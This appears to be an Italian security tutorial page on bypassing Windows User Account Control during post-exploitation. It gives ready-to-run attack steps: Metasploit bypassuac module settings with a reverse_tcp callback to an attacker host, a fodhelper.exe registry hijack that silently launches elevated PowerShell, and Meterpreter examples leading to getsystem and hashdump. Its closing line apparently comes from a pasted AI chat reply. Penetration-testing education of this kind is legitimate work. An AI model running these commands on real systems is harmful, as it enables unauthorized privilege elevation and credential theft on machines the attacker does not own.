Tutorials

Guida Approfondita: Bypass UAC in Windows

Il Bypass UAC User Account Control è una tecnica utilizzata per ottenere un contesto di esecuzione con privilegi elevati su un sistema Windows, senza dover interagire con il prompt UAC. È particolarme

#exploitation#post-exploitation#windows#privesc

Guida Approfondita: Bypass UAC in Windows

Il Bypass UAC (User Account Control) è una tecnica utilizzata per ottenere un contesto di esecuzione con privilegi elevati su un sistema Windows, senza dover interagire con il prompt UAC. È particolarmente utile in fase post-exploitation quando si dispone di una sessione con privilegi di tipo _medium integrity_ e si vuole ottenere una _high integrity shell_.

⚠️ Importante: Per eseguire correttamente un bypass UAC, l'utente deve necessariamente far parte del gruppo locale "Administrators". Il bypass UAC non eleva un utente standard a privilegi amministrativi, ma consente ad un utente _già amministratore_ di evitare l'interazione con il prompt UAC.

🔍 Contesto Tecnico: Integrity Levels in Windows

Livello di IntegritàContesto
LowSandbox, browser
MediumUtente standard o admin non elevato
HighAdmin elevato (dopo prompt UAC)
SystemProcessi e servizi di sistema

Durante una sessione di compromissione, un utente appartenente al gruppo Administrators verrà eseguito in modalità _medium integrity_ finché non accetta (esplicitamente) il prompt UAC. Un bypass UAC permette di saltare questa richiesta.


🔍 Verifica se l'utente è un amministratore

Prima di procedere con il bypass UAC, è necessario verificare se l'utente corrente è un amministratore.

Su Meterpreter:

bash
getuid
getprivs

In PowerShell:

powershell
whoami /groups | findstr Administrators

oppure:

powershell
([Security.Principal.WindowsIdentity]::GetCurrent()).Groups -match "S-1-5-32-544"

Se il gruppo "Administrators" è presente, puoi procedere con il bypass.


🔧 Tecniche comuni di Bypass UAC

1. Utilizzo di Metasploit: bypassuac

Moduli principali:

  • exploit/windows/local/bypassuac
  • exploit/windows/local/bypassuac_injection
  • exploit/windows/local/bypassuac_eventvwr
  • exploit/windows/local/bypassuac_sdclt

Esempio:

bash
use exploit/windows/local/bypassuac
set SESSION 1
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <IP>
set LPORT <PORT>
run

2. PowerShell-based Techniques

  • Invoke-BypassUAC (PowerSploit)

Queste tecniche utilizzano binari di sistema con auto-elevazione o DLL hijacking.

3. DLL Hijacking via fodhelper.exe

powershell
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "" -Value "powershell.exe -WindowStyle Hidden -Command Start-Process powershell -Verb runAs"
fodhelper.exe

Questo triggera una nuova istanza elevata di PowerShell sfruttando l’auto-elevazione implicita di fodhelper.exe.


🛠️ Esempi reali con Meterpreter

bash
meterpreter > getuid
Server username: IEWIN7\IEUser

meterpreter > run post/windows/gather/check_uac

meterpreter > run exploit/windows/local/bypassuac_sdclt SESSION=1


🧠 Conclusioni

  • Il bypass UAC funziona _solo se_ l’utente compromesso è nel gruppo "Administrators".
  • Serve per ottenere privilegi elevati senza prompt UAC.
  • Non rappresenta una vera e propria escalation di privilegi da utente standard a SYSTEM.
  • Bypassare l'UAC ci permette di eseguire comandi meterpreter come "getsystem" e "hashdump".
  • Verrà creata una nuova sessione meterpreter con lo stesso utente ma privilegi più elevati.

Se ti servisse, posso fornirti una checklist Obsidian-ready con tutti i prerequisiti e comandi veloci per bypass UAC. Fammi sapere!